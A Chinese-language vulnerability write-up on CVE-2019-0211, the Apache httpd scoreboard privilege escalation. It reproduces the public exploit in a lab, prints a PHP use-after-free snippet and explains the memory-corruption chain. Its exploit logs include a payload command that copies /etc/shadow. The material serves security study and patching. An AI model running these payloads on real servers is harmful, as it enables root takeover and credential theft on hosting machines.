CVE-2019-0211
文章目录
前言
-
Apache爆出存在本地权限提升漏洞,该漏洞影响2.4.17(2015年10月9日发布)至2.4.38版本(2019年4月1日),其原因在于越界数组访问导致的任意函数调用,使得Apache HTTP将受到本地root权限提升。在Apache正常重新启动时,将会触发这一漏洞(apache2ctl graceful)。在标准Linux配置中,logrotate实用程序每天上午6:25会运行一次此命令,以便重置日志文件句柄。该漏洞影响mod_prefork、mod_worker和mod_event。
-
漏洞所属类型:提权
-
经测试以下版本均存在漏洞:
- Ubuntu 18.04.2 LTS
PHP : 7.1.27-1 / 7.2.15-0 / 7.3.3-1
Apache : Apache/2.4.29 (Ubuntu), build 2018-03-02T02:19:31- Ubuntu 16.04.6 LTS
PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
Apache : Apache/2.4.18 (Ubuntu), build 2016-04-15T18:00:57
- Debian GNU/Linux 9.8 (stretch)
PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
Apache : Apache/2.4.25 (Debian), build 2018-11-03T18:46:19 (latest version when debian-security repo is disabled)
背景知识
Apache HTTP Server
- Apache HTTP Server源于NCSAhttpd服务器,于1995年推出,取名取自于“a patchy server”的读音,意思是充满补丁的服务器,因为它是自由软件,所以不断有人来为它开发新的功能、新的特性、修改原来的缺陷。Apache HTTP Server的特点是简单、速度快、性能稳定,并可做代理服务器来使用。由于其跨平台和安全性优良,自1996年4月以来,Apache HTTP Server一直是互联网上最受欢迎的网络服务器。Apache HTTP Server是Apache软件基金会的一个开源的Web服务器,由于其具有的跨平台性被广泛使用,是最流行的Web服务器端软件之一,国内在公网开放的Apache资产数量将近700万之多。
- 虽然CVE-2019-0211仅影响UNIX类型的系统,但大多数的Apache HTTP Server都运作在UNIX系统上,特别是网络服务器。资安业者Rapid7指出,此一权限扩张漏洞对于依然提供共享网络代管服务的供货商而言风险更高,因为这类的服务允许不同的网站共享同一个父Apache服务器。因此,假设有黑客成功开采了该漏洞,他将取得服务器的最高权限,得以读取、写入或删除其它客户的档案或数据库。Rapid7估计至少有200万个独立系统含有CVE-2019-0211漏洞,有19.3%位于AWS,8.6%位于Digital Ocean,还有5.9%位于OVH。若以区域来看,有77万的系统座落于美国,22.4万位于德国,并有11.1万位于法国。
漏洞历程
-
在Apache发布更新不久后,安全研究人员 Charles Fol 便在其博客发布了关于 Apache 服务器一个本地提权漏洞的详细介绍。
-
Charles Fol 对 Apache 团队处理问题的效率也十分赞赏。他表示自己在2019年2月22日通过电子邮件提交了漏洞,2月25日开发团队就确认了漏洞的存在,并开始着手修复。到了3月7日,Apache 安全团队发送补丁给 Charles 审查并分配了 CVE 编号;3月10日,Charles 批准了这个补丁,最后4月1日 Apache 发布修复了漏洞的 2.4.39 版本。
-
根据公告,CVE-2019-0211为权限提升漏洞,该漏洞主要存在Apache HTTPServer 2.4.17到2.4.38版本中,在MPM的event、worker和prefork三种模式下,低权限的子进程或线程(包括进程内脚本解释器执行的脚本)中执行的代码,可以通过操作记分板(scoreboard)以父进程(通常是root)的权限执行任意代码,从而实现提权效果,建议及时关注安全更新补丁和相应缓解措施。
-
编号为 CVE-2019-0211 的漏洞是一个本地提权漏洞,该漏洞允许拥有有限权限的用户或软件获得 Web Server 的 root 权限。如果被攻击者成功提权,他将拥有 Web Server 的完整访问权限,在服务器进出自如。受该漏洞影响最大的是提供共享实例的 Web 托管商。因为 Web 托管商的一台服务器通常会提供给多个网站使用,而此类服务器一般会阻止一个网站的管理员访问另一个网站,或访问机器的敏感设置。Charles Fol 目前已公布关于 CVE-2019-0211 的漏洞利用案例。
环境清单
- 发行版名称: Ubuntu 18.04.01 LTS
- 内核版本: Linux ubuntu 4.18.0-15-generic
- Apache版本: Apache/2.4.29 (Ubuntu)
- PHP版本:PHP 7.2.24
- 镜像下载地址:ubuntu-18.04.01-desktop-amd64.iso
- 虚拟机软件:VMware Workstation 16 Pro 16.1.1 build-17801498
漏洞复现
环境安装
-
apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:
apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4
-
php、curl直接用apt安装就好了
apt install php curl
环境参数
-
环境参数:
root@xx-virtual-machine:/var/www/html# lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic root@xx-virtual-machine:/var/www/html# apache2 -v Server version: Apache/2.4.29 (Ubuntu) Server built: 2018-03-02T02:19:31 root@xx-virtual-machine:/var/www/html# php -v PHP 7.2.24-0ubuntu0.18.04.17 (cli) (built: Feb 23 2023 13:29:25) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.24-0ubuntu0.18.04.17, Copyright (c) 1999-2018, by Zend Technologies
漏洞利用演示
POC
-
需要开启ssl模块
-
payload:
curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"
开启ssl
root@xx-virtual-machine:/home/xx# a2enmod ssl
Considering dependency setenvif for ssl:
Module setenvif already enabled
Considering dependency mime for ssl:
Module mime already enabled
Considering dependency socache_shmcb for ssl:
Enabling module socache_shmcb.
Enabling module ssl.
See /usr/share/doc/apache2/README.Debian.gz on how to configure SSL and create self-signed certificates.
To activate the new configuration, you need to run:
systemctl restart apache2
root@xx-virtual-machine:/home/xx# systemctl restart apache2
关于需要开始ssl模块说明:
- 就算不开ssl模块,漏洞也是存在的
- 就算不开启ssl模块,自己修改apache配置,能开启其他端口,也是能利用的
- 如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的
只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。
安装curl工具,并将payload文件cfreal-carpediem.php放入/var/www/html文件夹。
表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下 find /tmp -name "2323232"
就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单:
root@xx-virtual-machine:/home/xx# cat /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=true
Restart=on-abort
[Install]
WantedBy=multi-user.target
改 PrivateTmp=false
以后重启一下,再测试一遍就能在tmp目录下写文件了
测试样例:
$ curl http://localhost/cfreal-carpediem.php
$ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
$ ls -alh /usr/bin/python3.5
-rwxr-xr-x 1 root root 4.3M 11月 13 2018 /usr/bin/python3.5
代码执行:
root@xx-virtual-machine:/home/xx# curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"
CARPE (DIEM) ~ CVE-2019-0211
PID: 4418
Fetching addresses
zend_object_std_dtor: 0x7fc6cd9ef370
system: 0x7fc6d08fc440
libaprX: 0x7fc6d0ebd000-0x0x7fc6d0ef0000
libaprR: 0x7fc6d10f0000-0x0x7fc6d10f1000
shm: 0x7fc6d15de000-0x0x7fc6d15f2000
apache: 0x7fc6d1648000-0x0x7fc6d1666000
Obtaining apache workers PIDs
Found apache worker: 4414
Found apache worker: 4415
Found apache worker: 4416
Found apache worker: 4417
Found apache worker: 4418
Found apache worker: 4611
Got 6 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF failed, exiting.
问题:服务器已修复漏洞
github项目对话如下:
Hi!I get an “UAF failed, exiting.” error, with Apache 2.4.18 and PHP 7.0.4.
Okay, by making assumptions only. It might just mean the server been patched already.
EXP攻击
漏洞利用过程分为四个步骤:
1、获取Worker进程的读写权限
2、向共享内存空间(SHM)写入一个假的prefork_child_bucket结构。
3、将all_bucket[bucket]指向结构。
4、等待构造的函数被调用。
这一过程的好处:
始终没有创建过主进程,所有过程都映射在访问/proc/self/maps(ASLR/PIE保护无效)中,当一个Worker进程关闭或报错时,它会自动由主进程重新创建,所以不会有DOS Apache服务器的风险。
缺点:
PHP不允许对/proc/self/mem的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用all_bucket函数。
细节补充:
以下是根据exp执行步骤整理的流程,补充了一些细节:
- 利用PHP读取worker的/proc/self/maps文件,进而定位一些漏洞利用所需模块和函数的地址
- 枚举/proc//cmdline和/proc//status文件,得到所有worker进程的PID
- 利用一个PHP的UAF漏洞,在worker进程中获取读/写SHM的权限
- 遍历Apache的内存,根据内存模式匹配找到与
all_buckets
数组地址 - 因为优雅重启后,
all_buckets
的位置会改变,因此需要计算一个"适当"的bucket索引,保证all_buckets[bucket]
仍然指向伪造的prefork_child_bucket
结构 - 在SHM中构造payload
- 喷射payload之后剩余的SHM区域,确保第5步中
all_buckets[bucket]
指向这片区域后,能转跳到payload - 将
process_score->bucket
修改为第5步中计算的bucket。此外为了进一步提高成功率,还可以枚举SHM区域所有的process_score
结构,将每个worker的process_score->pid
与第2步得到的PID的相比较,匹配上的就是正确的process_score
结构,将每个worker的process_score->bucket
都进行修改。 - 等待Apache重启触发漏洞(每天早上6:25会自动执行,也可手动重启验证结果)
具体的细节如下图:
1. 获得Worker进程的读取/写入访问权限
(1) PHP UAF 0-day
由于mod_prefork经常与mod_php结合使用,因此通过PHP进行漏洞利用似乎非常自然。CVE-2019-6977是一个完美的备选漏洞,但我在最初开始编写漏洞利用代码时,这个漏洞并没有出现。我在PHP 7.x中使用了一个UAF 0-day漏洞(似乎也适用于PHP 5.x)。
PHP UAF
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();
这是一个PHP对象存在的UAF漏洞:我们取消设置 y [ 0 ] ( X 的一个实例),但它仍然可以使用 y[0](X的一个实例),但它仍然可以使用 y[0](X的一个实例),但它仍然可以使用this。
(2) UAF读取/写入
我们想要实现两件事:读取内存以查找all_buckets的地址,以及编辑SHM以更改Bucket索引,并添加我们的自定义互斥结构。
好在PHP的堆位于内存中的两个位置的前面。
PHP堆的内存地址,ap_scoreboard_image->*和all_buckets
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0
考虑到我们触发了PHP对象中的UAF,对象中的任意属性都属于UAF漏洞的范围。我们可以将zend_object UAF改为zend_string,从而获得一个zend_string结构。
(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
}
len属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间:SHM和Apache的all_buckets
(3) 定位Bucket索引和all_buckets
我们需要改变ap_scoreboard_image->parent[worker_id]->bucket来获得特定的worker_id。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。
共享内存位置,并以process_score结构为目标
root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052 /dev/zero (deleted)
(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044
要找到all_buckets,可以利用我们对prefork_child_bucket结构的了解。所以我们需要:
导入bucket值的结构
prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <--
}
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <--
int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
all_buckets[0]->mutex会定位在同一个all_buckets[0]的内存区域,考虑到meth是一个静态结构,它会定位到libapr的data上,又因为meth指向了libapr的函数,所以每一个函数的指针都在libapr的text内。
到这里我们通过/proc/self/maps有了整片内存区域的地址信息,我们可以通过修改Apache内存的指针来找到all_buckets[0]对应的结构位置。
和我之前说的一样,all_bucket的地址在每次重启都会发生变化。所以说每次触发我们的exp,all_buckets的地址都会发生变化。之后我们会研究如何解决这问题。
2. 在SHM中写入一个伪造的prefork_child_bucket结构
(1) 实现函数调用
如下是构造的调用函数的过程:
bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
(2) 调用一些正确的东西
为了实现漏洞利用,我们使(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),将会产生以下链:
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
pDestructor指向system,&ht->arData[0]->val是字符串。
如我们所见,两个最左边的结构都是叠加的。
3. 使all_buckets[bucket]指向结构
(1) 问题和解决方案
现在,如果all_buckets的地址在重新启动的前后没有变化,那么我们的漏洞利用可以按照下述步骤来实现:
- 在PHP堆之后获取所有内存的读取/写入。
- 通过匹配其结构来查找all_buckets。
- 将我们的结构放入SHM中。
- 更改SHM中的process_score.bucket,以使all_bucket[bucket]->mutex指向我们的Payload。
但考虑到all_bucket地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射SHM内存区域,用上每一个PID对应的process_socre结构。
(2) 喷射共享内存SHM
如果all_bucket的新地址距离旧的地址不远,my_bucket会指向最近的结构,从而喷射获得整个SHM中未被使用的空间,而不是仅仅获得一个指向SHM的指针。这里存在一个问题,结构在zend_object中也使用着,所以其中有(5*8=)40位属于zend_object.properties,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构apr_proc_mutex_t和zend_array占用剩余的共享内存,令prefork_child_bucket.mutex和zend_object.properties指向同一个地址,来解决这一问题。现在如果all_bucket在原始地址不远的地方,my_bucket就会喷射到这一范围。
(3) 利用所有的process_score
每个Apache Worker都有一个关联的process_score结构,并带有一个Bucket索引。我们可以改变它们之中的每一个,而不是仅仅改变其中的一个process_score.bucket值,以便覆盖内存的另一部分。示例如下:
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这样一来,我们的成功率就是原始成功率乘以Apache Worker的数量。在重新派生时,只有一个Worker具有一个有效的Bucket编号,但这并不是问题,因为其他的会发生崩溃,并且立即重新派生。
(4) 成功率
不同的Apache服务器有着不同数量的Worker进程,有更多的Worker进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的all_buckets函数的index信息。因此越多的Worker进程数量能够提高我们测试的成功率。在测试服务器(默认使用了4个Worker进程)上有80%的成功率。
如果exp触发失败的话,它会在第二天重启的时候重新运行,Apache的错误日志中不会包含Worker进程的错误信息。
4. 等到早上6.25查看exp是否成功触发
xx@xx-virtual-machine:$ curl http://localhost/cfreal-carpediem.php\?cmd\=cp+/etc/shadow+/tmp/
CARPE (DIEM) ~ CVE-2019-0211
PID: 887
Fetching addresses
zend_object_std_dtor: 0x7fc38f605700
system: 0x7fc3936bc480
libaprX: 0x7fc393c39000-0x0x7fc393c6b000
libaprR: 0x7fc393e6b000-0x0x7fc393e6c000
shm: 0x7fc394456000-0x0x7fc39446a000
apache: 0x7fc39446a000-0x0x7fc39452a000
Obtaining apache workers PIDs
Found apache worker: 887
Found apache worker: 888
Found apache worker: 889
Found apache worker: 890
Found apache worker: 891
Got 5 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7fc38aaa34e8
Looking for all_buckets in memory
[&mutex]: 0x7fc3944cab70
[mutex]: 0x7fc3944cacc0
[meth]: 0x7fc393e6bca0
[*]: 0x7fc393c53ce0
[*]: 0x7fc393c541b0
[*]: 0x7fc393c53e90
[*]: 0x7fc393c54210
[*]: 0x7fc393c53bf0
[*]: 0x7fc393c53960
[*]: 0x7fc393c6228c
all_buckets = 0x7fc3944cab60
Computing potential bucket indexes and addresses
[bucket_index_middle]: -17858
Placing payload at address 0x7fc39445a148
Spraying pointer
Address: 0x7fc39445a218
From: 0x7fc39445a250
To: 0x7fc39446a000
Size: 0xfdb0
Covered: 0x4f470
Apache: 0xc0000
Iterating in SHM to find PIDs...
[spray_nb_bucket]: 2706
[total_nb_buckets]: 13530
[bucket_index]: -24623
Got PID: 887
PID matches
Changed bucket value to -24623
Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468
Got PID: 888
PID matches
Changed bucket value to -21917
Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8
Got PID: 889
PID matches
Changed bucket value to -19211
Ranges: 0x7fc3944cab58 - 0x7fc3944da908
Got PID: 890
PID matches
Changed bucket value to -16505
Ranges: 0x7fc3944bada8 - 0x7fc3944cab58
Got PID: 891
PID matches
Changed bucket value to -13799
Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8
EXPLOIT SUCCESSFUL.
Await 6:25AM.
这里只需要等待,新打开终端强制回滚。
xx@xx-virtual-machine:~$ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
[sudo] password for xx:
xx@xx-virtual-machine:~$ ls -alh /usr/bin/
total 148M
drwxr-xr-x 2 root root 44K Aug 7 07:35 .
drwxr-xr-x 10 root root 4.0K Feb 9 2019 ..
-rwxr-xr-x 1 root root 51K Jan 18 2018 '['
-rwxr-xr-x 1 root root 9.9K Apr 23 2016 411toppm
-rwxr-xr-x 1 root root 23K Sep 27 2018 aa-enabled
...
xx@ubuntu:~$ ls -alh /usr/bin/zip
-rwxr-xr-x 1 root root 212K Apr 21 2017 /usr/bin/zip
漏洞分析
漏洞原因
在MPM prefork中,以root身份运行的主服务器进程管理一个单线程、低权限(www-data)的工作进程池,用于处理HTTP请求。为了从工作进程那里获得反馈,Apache维护了一个共享内存区域(SHM)计分板,其中包含各种信息,例如工作进程的PID,以及它们处理的最后一个请求。每个工作进程都以维护与其PID相关联的process_score结构为目标,并且具有对SHM的完全读/写访问权限。
ap_scoreboard_image:指向共享内存块的指针
(gdb) p *ap_scoreboard_image
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
PID19447的Worker进程的共享内存空间:
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 19447,
generation = 0,
quiescing = 0 '\000',
not_accepting = 0 '\000',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; <- index for all_buckets
}
当Apache重启的时候,它的主进程会关闭旧的Worker进程并生成新的来替换掉。在这里主进程会用all_bucket这一函数来使用所有旧的Worker进程占用的bucket(内存空间)值。
all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <--
int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
...
}
这里没有进行边界检查,也就是说任意一个Worker进程都可以改变自身bucket的值来指向共享内存区域,从而在重启的时候控制prefork_child_bucket函数的结构。最终在权限恢复之前,通过mutex->meth->child_init()这一调用过程,实现暂时以root权限调用函数。
易受攻击的代码区域
在server/mpm/prefork/prefork.c中找到漏洞发生的位置和方式。
(注:L数字代表该文件中对应的代码行数)
恶意Worker在共享内存中更改其Bucket索引,使其指向它的结构,也同样在SHM中。在转天上午的6:25,logrotate请求从Apache正常重启。在此之后,主要的Apache进程将首先杀死Worker,然后产生新的Worker。通过向Worker发送SIGUSR1来完成进程的终止,预计可以迅速退出。然后,调用prefork_run()(L853)来生成新的Worker。由于retained->mpm->was_graceful为True(L861),Worker不会立即重启。相反,我们进入主循环(L933)并监视被终止Worker的PID。当旧Worker被终止时,ap_wait_or_timeout()返回其PID(L940)。与此PID相关联的process_score结构的索引存储在child_slot(L948)中。如果这个Worker被终止,但没有产生致命错误(L969),那么使用ap_get_scoreboard_process(child_slot)->bucket作为第三个参数调用make_child()(L985)。如前所述,一个恶意的Worker改变了Bucket的值。make_child()创建一个新的子进程,并对主进程进行fork()(L671)。进行OOB读取(L691),因此my_bucket受到攻击者的控制。调用child_main()(L22),函数调用在后续还会发生。如果Apache侦听两个或更多端口,那么SAFE_ACCEPT()将只会执行
,这通常是由于服务器侦听HTTP(80端口)和HTTPS(443端口)。假设
被执行,则会调用apr_proc_mutex_child_init(),这将导致调用(*mutex)->meth->child_init(mutex, pool, fname),并且控制互斥锁。在执行后,特权将会被提升(L446)。
漏洞修复
-
官方已经发布了新版本修复了该漏洞,请相关用户及时下载并更新,下载链接请参考以下链接:
https://httpd.apache.org/download.cgi
-
安全建议
历史上Apache HTTP Server报过多次漏洞,建议使用该组件的企业和单位及时关注厂商安全更新补丁发布,对于还在运行官方已不再维护安全更新的2.2之前早期版本,建议更新到新的无漏洞版本或是部署必要的安全防护设备拦截恶意攻击。
总结
外网曝出Apache HTTP服务器出现的提权漏洞(CVE-2019-0211),攻击者可通过恶意脚本在Unix系统上获得root权限。
官方在通告中表示:“在Apache HTTP Server 2.4.17至2.4.38版本的三种多进程模式event,worker和prefork中,权限较低的子进程或线程(包括进程内脚本解释器执行的脚本)利用恶意代码都可以以父进程的权限(通常是root)执行任意命令。类Unix系统会受影响。”
当Apache HTTP Server运行在大型托管服务器上时,CVE-2019-0211漏洞会带来严重安全风险,在这种情况下,低权限的攻击者有可能获得整台服务器的权限,影响服务器中的其他服务。
参考链接
Apache Httpd本地提权漏洞分析(CVE-2019-0211)
CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation